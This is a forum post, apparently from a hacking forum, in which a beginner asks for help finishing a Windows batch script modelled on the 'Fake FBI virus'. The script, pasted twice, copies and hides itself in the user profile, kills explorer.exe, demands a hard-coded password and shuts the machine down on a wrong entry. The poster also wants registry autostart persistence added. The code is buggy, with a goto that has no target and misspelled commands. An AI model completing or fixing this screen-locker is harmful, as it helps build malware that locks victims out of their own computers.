Creating a lock-down password bat 09-16-2013, 05:46 PM
#1
Okay, I'm trying to create a Batch file that autorun on login or before doesn't matter. I am trying to get it to Lock out user until they enter the password in the batch file. I don't know if it is possible sense bat Is limited. If I can get some help that would be great So far the password works, and the shut down. I am trying to recreate something like the Fake FBI viruse, but with out the webpage. I am new to coding. So far I have this.
@echo off
title d
:a
If not exist "%userprofile%\program\d.bat" goto b
If exist"%userprofile%\program\d.bat" >null goto c
:b
copy "d.bat" "%userprofile%\program\d.bat" >null
goto c
(error in the above line, need to wirte register to autostart)
:c
taskkill /f /IM explorer.exe
attrib +h "%userprofile%\program\d.bat" >null
echo enter password to Login
set/p "pass=>"
if NOT %pass%== 400670 goto
hutdown -s
if %pass%== 400670 goto d
:d start explore.exe
(explorer doesn't seem to start back up when the correct password entered)
If anyone can help me that would be great!
@echo off
title d
:a
If not exist "%userprofile%\program\d.bat" goto b
If exist"%userprofile%\program\d.bat" >null goto c
:b
copy "d.bat" "%userprofile%\program\d.bat" >null
goto c
(error in the above line, need to wirte register to autostart)
:c
taskkill /f /IM explorer.exe
attrib +h "%userprofile%\program\d.bat" >null
echo enter password to Login
set/p "pass=>"
if NOT %pass%== 400670 goto
hutdown -s if %pass%== 400670 goto d
:d start explore.exe
(explorer doesn't seem to start back up when the correct password entered)
If anyone can help me that would be great!
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: Free_Logo_autonomous..png]](https://dl.dropboxusercontent.com/u/18833908/Free_Logo_autonomous..png)